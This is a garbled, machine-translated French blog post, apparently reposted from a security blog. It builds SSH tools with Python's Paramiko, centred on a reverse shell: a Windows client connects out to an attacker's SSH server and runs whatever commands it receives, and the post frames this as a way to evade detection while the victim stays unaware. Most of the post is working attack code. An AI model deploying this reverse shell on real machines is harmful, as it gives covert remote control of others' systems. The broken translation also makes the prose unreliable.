L'adresse de ce blog:https://security.blog.csdn.net/article/details/125306100
Parfois...,Nous devons crypter notre propre trafic pour échapper à la détection,Une méthode plus courante est deSSHCommunication chiffrée.Mais la plupart du temps,,Le but du contrôle est de ne pasSSHClient,Développé à ce momentSSHLe client est utile.
FréquentpythonCu Oui.Paramiko,Il est basé surPyCryptoBibliothèques tierces développées,Pour comprendre comment fonctionne cette bibliothèque,Nous utiliseronsParamikoConnectez - vous à un ensemble avecSSHMachines,Exécutez les commandes ci - dessus;UtilisationParamikoCompilationSSHServeurs et clients,Utilisez - les dansWindowsExécuter des commandes à distance sur le système.
Cet exemple utiliseraParamikoProgramme d'instance de tunnel inversé autonome,Pour réaliserBHNETLa fonction proxy de l'outil a le même effet.
Tout d'abord,,Télécharger une copieParamikoLe code officiel de,Adresse:https://github.com/paramiko/paramiko
Les détails ont été précisés dans la note de code.
ssh_cmd.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import paramiko
# Cette fonction va àSSH Le serveur initie une connexion et exécute une commande
def ssh_command(ip, port, user, passwd, cmd):
client = paramiko.SSHClient()
# Prise en charge de l'authentification par clé au lieu de l'authentification par mot de passe , L'environnement réel recommande l'authentification par clé
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Ici pour la simplicité, L'authentification par mot de passe du nom d'utilisateur est toujours prise en charge
client.connect(ip, port=port, username=user, password=passwd)
# Confiance automatique et mémorisation de la clé publique envoyée par le serveur ,Si la connexion est réussie, Commence à passer à ssh_command La commande de la fonction
_, stdout, stderr = client.exec_command(cmd)
output = stdout.readlines() + stderr.readlines()
# Si cette commande produit une sortie , Imprimez - le ligne par ligne
if output:
print ('--- output ---')
for line in output:
print(line.strip())
if __name__ == '__main__':
import getpass
# Nom d'utilisateur requis
user = input('username: ')
# Saisissez le mot de passe,getpass La fonction permet de ne pas afficher le mot de passe entré à l'écran
password = getpass.getpass()
# LireIPAdresse、Port、Commandes à exécuter
ip = input("enter server IP: ") or '127.0.0.1'
port = input("enter server PORT or <CR>: ") or 2222
cmd = input('enter command or <CR>: ') or 'id'
# Donnez - le àssh_commandExécution de la fonction
ssh_command(ip, port, user, password, cmd)
Exécuter l'échantillon:
Je vois., Nous avons réussi à nous connecter et à exécuter cette commande
Les détails ont été précisés dans la note de code.
ssh_cmd.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import shlex
import paramiko
import subprocess
# Cette fonction va àSSH Le serveur initie une connexion et exécute une commande
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
# Prise en charge de l'authentification par clé au lieu de l'authentification par mot de passe , L'environnement réel recommande l'authentification par clé
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Ici pour la simplicité, L'authentification par mot de passe du nom d'utilisateur est toujours prise en charge
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print (ssh_session.recv(1024).decode())
while True:
# DeSSH Lecture constante des commandes dans la connexion
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
# Exécuter les commandes localement
cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
# Et renvoyer les résultats au serveur
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__':
import getpass
# Nom d'utilisateur requis, Ici, le nom d'utilisateur doit être entré en texte clair
user = input('username: ')
# Saisissez le mot de passe
password = getpass.getpass()
# LireIPAdresse、Port
ip = input('enter server IP:')
port = input('enter port:')
# Donnez - le àssh_commandExécution de la fonction
ssh_command(ip, port, user, password, 'ClientConnected')
Parce quewindows Le système n'est pas livré avec SSHServeur, Donc nous devons inverser ,Un.SSHServeur àSSHCommande d'envoi du client.
Les détails ont été précisés dans la note de code.
ssh_server.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import socket
import paramiko
import threading
import sys
import os
# Utiliser Paramiko Clé de l'exemple de fichier ,C'est - à - dire:githubDans
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
# Mettez le moniteur SSHDe
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'kali') and (password == 'kali'):
return paramiko.AUTH_SUCCESSFUL
if __name__ == '__main__':
server = '192.168.153.141'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Ici.valueSet to1,Indique queSO_REUSEADDRMarqué commeTRUE
# Le système d'exploitation sera sur le serveursocketLibérez le port du serveur immédiatement après l'arrêt ou la fin du processus du serveur
# Sinon, le système d'exploitation conservera le port pendant quelques minutes.
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# BINDipEt les ports
sock.bind((server, ssh_port))
# Le nombre maximum de connexions est100
sock.listen(100)
print ('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print ('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print ('[+] Got a connection!', client, addr)
# Définir la méthode d'authentification des droits
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
# Définir la valeur de timeout à 20
chan = bhSession.accept(20)
if chan is None:
print ('*** No channel')
sys.exit(1)
# Le client est certifié
print('[+] Authenticated!')
# EnvoyerClientConnectedLes ordres
print (chan.recv(1024))
chan.send("Welcome to bh_ssh")
# InSSH Toutes les commandes qui fonctionnent sur le serveur ,Sont envoyés àSSHClient, Et exécuter sur ce client , Les résultats de l'exécution seront transmis à SSHServeur
try:
while True:
command = input("Enter command:")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print (r.decode())
else:
chan.send('exit')
print ('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()
Lancez d'abord le serveur:
AprèswindowsExécuter le client sur:
Dans le serveur , Vous pouvez voir la connexion du client , Après ça, vous pourrez exécuter quelques commandes (- Oui.windowsCommandes du client):
En ce momentwindows Le client n'est pas conscient .